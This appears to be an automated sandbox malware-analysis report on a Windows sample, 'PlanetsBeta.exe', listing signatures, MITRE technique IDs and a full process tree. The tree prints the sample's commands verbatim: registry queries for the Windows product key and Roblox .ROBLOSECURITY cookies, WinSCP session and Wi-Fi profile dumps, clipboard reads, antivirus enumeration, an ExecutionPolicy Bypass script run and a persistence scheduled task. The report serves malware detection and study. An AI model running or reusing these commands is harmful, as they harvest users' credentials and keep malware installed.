40a3d63256e959e889fe72e6d3c8ca44c3dceb06766dd8e0f6496594ab0ebed2

Analysis

max time kernel
6s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
14/01/2024, 23:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

PlanetsBeta.exe
Size

71.3MB
MD5

06032d5863ce1df53f29a12ac5e74e54
SHA1

f2e8bcf85e51cf689ef8e5145d9d97567a963211
SHA256

40a3d63256e959e889fe72e6d3c8ca44c3dceb06766dd8e0f6496594ab0ebed2
SHA512

80232f4bd613d93614d7244e59ba754bcb1bc28aec7fbc998c5fad8f8d6c2cda62a4935f6dce8e7f3781ee3bf234d8f69a7ccda26a15cf229a040ff3fba4ba28
SSDEEP

1572864:V4/4rzOchPOnGVV6klP7NZYil6/MsLsBSEJ/10MwKztSWVkTl207:ikqcdpVUkbyi/sLsBd/VwR/Y07

Score

7^/10

Malware Config

Signatures

Loads dropped DLL 2 IoCs

pid	Process
3908	PlanetsBeta.exe
3908	PlanetsBeta.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 4 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
25	ipinfo.io
26	ipinfo.io
28	ipinfo.io
29	ipinfo.io

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
11388	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
11504	WMIC.exe

Enumerates processes with tasklist 1 TTPs 64 IoCs

Process Discovery

T1057

pid	Process
8332	tasklist.exe
8168	tasklist.exe
7996	tasklist.exe
9004	tasklist.exe
8416	tasklist.exe
8468	tasklist.exe
8340	tasklist.exe
8176	tasklist.exe
7916	tasklist.exe
8788	tasklist.exe
8708	tasklist.exe
8088	tasklist.exe
8780	tasklist.exe
8716	tasklist.exe
8572	tasklist.exe
8272	tasklist.exe
8208	tasklist.exe
7952	tasklist.exe
7944	tasklist.exe
7900	tasklist.exe
7800	tasklist.exe
8876	tasklist.exe
8108	tasklist.exe
8056	tasklist.exe
7968	tasklist.exe
7536	tasklist.exe
8300	tasklist.exe
8224	tasklist.exe
8676	tasklist.exe
8436	tasklist.exe
8196	tasklist.exe
9232	tasklist.exe
9072	tasklist.exe
8556	tasklist.exe
8444	tasklist.exe
4968	tasklist.exe
8044	tasklist.exe
7888	tasklist.exe
7688	tasklist.exe
7412	tasklist.exe
8312	tasklist.exe
8884	tasklist.exe
8628	tasklist.exe
9032	tasklist.exe
8952	tasklist.exe
8348	tasklist.exe
8184	tasklist.exe
8160	tasklist.exe
8144	tasklist.exe
8036	tasklist.exe
8028	tasklist.exe
8532	tasklist.exe
8452	tasklist.exe
7672	tasklist.exe
7360	tasklist.exe
8004	tasklist.exe
7680	tasklist.exe
8020	tasklist.exe
8944	tasklist.exe
8240	tasklist.exe
8012	tasklist.exe
8588	tasklist.exe
8460	tasklist.exe
8696	tasklist.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeSecurityPrivilege	3908	PlanetsBeta.exe

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
11696	attrib.exe

C:\Users\Admin\AppData\Local\Temp\PlanetsBeta.exe
"C:\Users\Admin\AppData\Local\Temp\PlanetsBeta.exe"
1⤵
- Loads dropped DLL
- Suspicious use of AdjustPrivilegeToken
PID:3908
- C:\Users\Admin\AppData\Local\Temp\2awNX4dFuBHOwjOjA4rjdtOes0z\PlanetsBeta.exe
  C:\Users\Admin\AppData\Local\Temp\2awNX4dFuBHOwjOjA4rjdtOes0z\PlanetsBeta.exe
  2⤵
  PID:1544
- - C:\Users\Admin\AppData\Local\Temp\2awNX4dFuBHOwjOjA4rjdtOes0z\PlanetsBeta.exe
    "C:\Users\Admin\AppData\Local\Temp\2awNX4dFuBHOwjOjA4rjdtOes0z\PlanetsBeta.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Roaming\script" --mojo-platform-channel-handle=1940 --field-trial-handle=1704,2939444636546297899,5412480442585108257,131072 --disable-features=PlzServiceWorker,SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
    3⤵
    PID:4536
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic cpu get name | more +1"
    3⤵
    PID:11364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    PID:11576
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      PID:11620
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic PATH Win32_VideoController get name | more +1"
    3⤵
    PID:11468
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName"
    3⤵
    PID:11808
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion' -Name ProductName
      4⤵
      PID:11848
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:12000
  - - C:\Windows\system32\tasklist.exe
      tasklist
      4⤵
      PID:12040
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic OS get caption, osarchitecture | more +1"
    3⤵
    PID:5884
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
    3⤵
    PID:5872
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Users\Admin\AppData\Local\Temp\2awNX4dFuBHOwjOjA4rjdtOes0z\resources\app.asar.unpacked\bind\main.exe"
    3⤵
    PID:5836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "net session"
    3⤵
    PID:5808
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5744
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5724
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5684
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5640
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5624
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5540
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5516
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3A706840-2882-423C-90EB-B31545E2BC7A}"
      4⤵
      PID:7240
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5496
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5480
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5464
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5444
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5424
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5400
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5364
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5344
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5316
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5300
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5252
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager"
      4⤵
      PID:12116
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5220
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5200
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5192
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:5132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4064
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2260
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3304
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2372
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3172
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4944
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4204
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4132
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2980
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:332
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2748
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:1868
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:3752
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{77924AE4-039E-4CA4-87B4-2F64180381F0}"
      4⤵
      PID:10416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2012
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4320
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:4580
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:2184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "wmic process where processid=3908 get ExecutablePath"
    3⤵
    PID:11356
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -Command "& { $Action = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\PlanetsBeta.exe' $Trigger = New-ScheduledTaskTrigger -Daily -At '12:00PM' Register-ScheduledTask -Action $Action -Trigger $Trigger -TaskName StartCacaTask }"
    3⤵
    PID:11756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3544B2EE-E62F-4D11-B79C-3DDEACE94DA5}""
    3⤵
    PID:8296
  - - C:\Windows\system32\reg.exe
      C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3544B2EE-E62F-4D11-B79C-3DDEACE94DA5}"
      4⤵
      PID:1152
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKCU\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions""
    3⤵
    PID:1920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -Command "& {netsh wlan show profile}"
    3⤵
    PID:9436
  - - C:\Windows\system32\netsh.exe
      "C:\Windows\system32\netsh.exe" wlan show profile
      4⤵
      PID:12008
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -Command "& {powershell Get-Clipboard}"
    3⤵
    PID:7252
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -Command "& { function Get-AntiVirusProduct { [CmdletBinding()] param ( [parameter(ValueFromPipeline=$true, ValueFromPipelineByPropertyName=$true)] [Alias('name')] $computername=$env:computername ) $AntiVirusProducts = Get-WmiObject -Namespace \"root\SecurityCenter2\" -Class AntiVirusProduct -ComputerName $computername $ret = @() foreach ($AntiVirusProduct in $AntiVirusProducts) { switch ($AntiVirusProduct.productState) { \"262144\" { $defstatus = \"Up to date\"; $rtstatus = \"Disabled\" } \"262160\" { $defstatus = \"Out of date\"; $rtstatus = \"Disabled\" } \"266240\" { $defstatus = \"Up to date\"; $rtstatus = \"Enabled\" } \"266256\" { $defstatus = \"Out of date\"; $rtstatus = \"Enabled\" } \"393216\" { $defstatus = \"Up to date\"; $rtstatus = \"Disabled\" } \"393232\" { $defstatus = \"Out of date\"; $rtstatus = \"Disabled\" } \"393488\" { $defstatus = \"Out of date\"; $rtstatus = \"Disabled\" } \"397312\" { $defstatus = \"Up to date\"; $rtstatus = \"Enabled\" } \"397328\" { $defstatus = \"Out of date\"; $rtstatus = \"Enabled\" } \"397584\" { $defstatus = \"Out of date\"; $rtstatus = \"Enabled\" } default { $defstatus = \"Unknown\"; $rtstatus = \"Unknown\" } } $ht = @{} $ht.Computername = $computername $ht.Name = $AntiVirusProduct.displayName $ht.'Product GUID' = $AntiVirusProduct.instanceGuid $ht.'Product Executable' = $AntiVirusProduct.pathToSignedProductExe $ht.'Reporting Exe' = $AntiVirusProduct.pathToSignedReportingExe $ht.'Definition Status' = $defstatus $ht.'Real-time Protection Status' = $rtstatus # Créez un nouvel objet pour chaque ordinateur $ret += New-Object -TypeName PSObject -Property $ht } Return $ret } Get-AntiVirusProduct }"
    3⤵
    PID:7376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -File "C:\Users\Admin\AppData\Local\Temp\MfL3jibBbar1_temp.ps1""
    3⤵
    PID:10244
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{E016F2B9-01FE-4FAA-882E-ECC43FA49751}""
    3⤵
    PID:3792
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{D44822A8-FC28-42FC-8B1D-21A78579FC79}""
    3⤵
    PID:8380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}""
    3⤵
    PID:1484
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{CB0836EC-B072-368D-82B2-D3470BF95707}""
    3⤵
    PID:7052
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{C7141A99-592B-4226-A4E9-B767C1D0FBAF}""
    3⤵
    PID:5864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{AE86D888-1404-47CC-A7BB-8D86C0503E58}""
    3⤵
    PID:8104
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:9604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
    3⤵
    PID:7456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "tasklist"
    3⤵
    PID:6860
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0409-1000-0000000FF1CE}""
    3⤵
    PID:8572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-008C-0000-1000-0000000FF1CE}""
    3⤵
    PID:12248
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{90160000-007E-0000-1000-0000000FF1CE}""
    3⤵
    PID:9284
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{77924AE4-039E-4CA4-87B4-2F64180381F0}""
    3⤵
    PID:3752
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{76DEEAB3-122F-4231-83C7-0C35363D02F9}""
    3⤵
    PID:5296
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{6DB765A8-05AF-49A1-A71D-6F645EE3CE41}""
    3⤵
    PID:12228
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{662A0088-6FCD-45DD-9EA7-68674058AED5}""
    3⤵
    PID:12224
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{64A3A4F4-B792-11D6-A78A-00B0D0180381}""
    3⤵
    PID:5572
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}""
    3⤵
    PID:9756
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}""
    3⤵
    PID:9616
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{3A706840-2882-423C-90EB-B31545E2BC7A}""
    3⤵
    PID:5516
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{37B8F9C7-03FB-3253-8781-2517C99D7C00}""
    3⤵
    PID:6252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}""
    3⤵
    PID:6604
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{113C0ADC-B9BD-4F95-9653-4F5BC540ED03}""
    3⤵
    PID:9564
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WIC""
    3⤵
    PID:10112
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player""
    3⤵
    PID:7600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent""
    3⤵
    PID:8804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ProPlusRetail - en-us""
    3⤵
    PID:9644
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MPlayer2""
    3⤵
    PID:12144
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MozillaMaintenanceService""
    3⤵
    PID:6356
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Mozilla Firefox 105.0.3 (x64 en-US)""
    3⤵
    PID:9408
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack""
    3⤵
    PID:8148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IEData""
    3⤵
    PID:8092
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX""
    3⤵
    PID:7656
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data""
    3⤵
    PID:9072
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\IE40""
    3⤵
    PID:12136
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore""
    3⤵
    PID:4916
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DXM_Runtime""
    3⤵
    PID:10184
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx""
    3⤵
    PID:9080
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager""
    3⤵
    PID:5252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook""
    3⤵
    PID:9664
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\7-Zip""
    3⤵
    PID:1820
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /d /s /c "C:\Windows\system32\reg.exe QUERY "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall""
    3⤵
    PID:11972
- - C:\Windows\system32\cmd.exe
